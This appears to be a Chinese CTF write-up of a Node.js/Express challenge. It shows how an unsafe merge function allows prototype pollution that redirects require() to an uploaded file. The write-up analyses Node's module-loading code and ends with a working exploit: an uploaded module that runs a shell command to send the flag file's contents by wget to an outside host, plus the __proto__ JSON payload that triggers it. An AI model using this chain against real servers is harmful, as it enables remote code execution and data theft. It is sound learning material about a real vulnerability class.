打开题目
源码
server.js
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");
const PORT = process.env.port || 3000
const app = express();
global = "global"
app.listen(PORT, () => {
console.log(`listen at ${PORT}`);
});
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());
app.use(express.static("./public"));
app.post("/upload", (req, res) => {
try{
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext
});
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
});
app.post('/pollution', require('body-parser').json(), (req, res) => {
let data = {};
try{
merge(data, req.body);
res.send('Register successfully!tql')
require('./err.js').getRandomErr()
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
})
题目是express框架,首先给了merge函数可以用来原型链污染;/upload
路由下对上传的文件重命名,返回json格式数据包括上传路径;/pollution
路由下,首先进行merge函数污染,然后require导入err.js模块的getRandomErr()函数
err.js
obj={
errDict: [
'发生肾么事了!!!发生肾么事了!!!',
'随意污染靶机会寄的,建议先本地测',
'李在干神魔👹',
'真寄了就重开把',
],
getRandomErr:() => {
return obj.errDict[Math.floor(Math.random() * 4)]
}
}
module.exports = obj
getRandomErr()
函数会从 errDict 数组中随机选择一个元素返回值
思路很简单就是原型链污染,不过本题的污染方式要从nodejs的load.js模块分析
原型链污染 源码分析
源码链接
首先找到trySelf函数
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;
调用 readPackageScope 函数,传递 parentPath 作为参数,并将返回值解构赋值给 pkg 和 pkgPath。如果 readPackageScope 返回 undefined,则将 {} 赋值给 pkg 和 pkgPath;两个if语句对pkg进行判断
继续追踪到readPackageScope函数
function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}
遍历路径去找node_modules文件并尝试读取该路径下的package.json文件。如果找到了package.json文件,函数将返回一个包含data和path属性的对象
继续追踪readPackage函数
function readPackage(requestPath) {
const jsonPath = path.resolve(requestPath, 'package.json');
const existing = packageJsonCache.get(jsonPath);
if (existing !== undefined) return existing;
const result = packageJsonReader.read(jsonPath);
const json = result.containsKeys === false ? '{}' : result.string;
if (json === undefined) {
packageJsonCache.set(jsonPath, false);
return false;
}
就是读取package.json文件
回到题目,我们可以尝试污染模块err.js中的getRandomErr()函数,然后再调用的时候即可实现rce
总结来说,在require非原生库的过程中,最终会去调用PkgPath和pkg.exports拼接起来的字符串所指定的文件
exp
obj={
getRandomErr:() => {
require('child_process').execSync('wget https://5i781963p2.yicp.fun:443/`cat /flag`')
}
}
module.exports=obj
上传成功后,再原型链污染即可
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./fa85d80f53972a819dd7ebd3db7f4efa.js"
},
"path": "/app/upload"
}
}